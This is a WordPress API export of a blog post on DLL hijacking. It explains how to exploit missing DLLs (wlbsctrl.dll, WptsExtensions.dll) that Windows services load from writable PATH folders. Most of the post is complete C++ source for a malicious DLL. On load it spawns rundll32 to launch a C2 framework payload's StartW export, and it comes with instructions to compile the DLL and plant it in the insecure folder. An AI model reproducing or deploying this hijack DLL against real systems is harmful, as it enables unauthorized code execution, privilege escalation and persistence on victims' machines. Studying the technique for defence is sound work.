{"id":223,"date":"2021-11-13T22:23:00","date_gmt":"2021-11-13T22:23:00","guid":{"rendered":"https:\/\/www.davincivirus.com\/?p=223"},"modified":"2021-11-14T22:25:24","modified_gmt":"2021-11-14T22:25:24","slug":"dll-hijacking","status":"publish","type":"post","link":"https:\/\/www.davincivirus.com\/?p=223","title":{"rendered":"DLL Hijacking"},"content":{"rendered":"\n<p>A DLL hijack is potentially achievable when a directory within the &#8220;standard search order&#8221; is writeable by a malicious actor.  The attack is exponentially simplified when DLLs are missing on the target system. This occurs in older version of Microsoft Windows (Vista, 7, and 8) with the wlbsctrl.dll. Newer versions of Windows have a similarly predictable issue with the \u201cschedule\u201d service WptsExtensions.dll.<\/p>\n\n\n\n<h2>Process<\/h2>\n\n\n\n<p>The IEEXT service attempts to call the &#8220;main&#8221; function in wlbsctrl.dll.  This functionality is not compatible with prevalent C2 framework DLL payloads.  A custom DLL is therefore needed to invoke the &#8220;StartW&#8221; method.  Compile a DLL using a modified version of the code snippet below; provide a correct (1) payload location and (2) unique mutex.  Upload the malicious DLL in the insecure PATH folder. <\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<pre class=\"wp-block-code\" style=\"font-size:10px\"><code>#include &lt;windows.h&gt;\n#include &lt;string&gt;\n#include &lt;iostream&gt;\n#include \"Shlwapi.h\"\n#include \"shlobj.h\"\n#include \"pch.h\"\n\n\nDWORD WINAPI executeProcess(LPVOID lpParam);\nBOOL APIENTRY DllMain(HMODULE hModule,\n\tDWORD  ul_reason_for_call,\n\tLPVOID lpReserved\n)\n{\n\tswitch (ul_reason_for_call)\n\t{\n\tcase DLL_PROCESS_ATTACH:\n\t\texecuteProcess(NULL); \/\/When main is called, go to executeProcess\n\t\tbreak;\n\tcase DLL_THREAD_ATTACH:\n\tcase DLL_THREAD_DETACH:\n\tcase DLL_PROCESS_DETACH:\n\t\tbreak;\n\t}\n\treturn TRUE;\n}\n\nDWORD Return1() {\n\treturn 1;\n}\n\n\/\/Spawns a new process\nDWORD WINAPI executeProcess(LPVOID lpParam) {\n\tSTARTUPINFO  info = { 0 };\n\tPROCESS_INFORMATION   processInfo;\n\n\t\/\/Create a uniquely named mutex. \n\tCreateMutexA(0, FALSE, \"Local\\\\<strong><em>&lt;UNIQUE_NAME&gt;<\/em><\/strong>\");\n\tif (GetLastError() == ERROR_ALREADY_EXISTS)\n\t{\n\t\treturn 0;\n\t}\n\telse\n\t{\n\t\t\/\/If using as a .dll hijack only use\/manipulate the following code\n\t\t\n\t\tstd::wstring rundllStart = L\"C:\\\\Windows\\\\System32\\\\rundll32.exe <em><strong>C:\\\\Users\\\\Public\\\\&lt;payload.dll&gt;<\/strong><\/em>,StartW\";\n\n\t\t\/\/Spawn the new process\n\t\tBOOL hR = CreateProcess(NULL, (LPWSTR)rundllStart.c_str(), NULL, NULL, TRUE, 0, NULL, NULL, &amp;info, &amp;processInfo);\n\t\tif (hR == 0) {\n\t\t\treturn 1;\n\t\t}\n\t}\n\n\treturn 0;\n}\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>A DLL hijack is potentially achievable when a directory within the &#8220;standard search order&#8221; is writeable by a malicious actor.&hellip; <a class=\"read-more\" href=\"https:\/\/www.davincivirus.com\/?p=223\">Continue Reading<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[10],"tags":[],"_links":{"self":[{"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/posts\/223"}],"collection":[{"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=223"}],"version-history":[{"count":2,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/posts\/223\/revisions"}],"predecessor-version":[{"id":225,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/posts\/223\/revisions\/225"}],"wp:attachment":[{"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=223"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=223"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=223"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}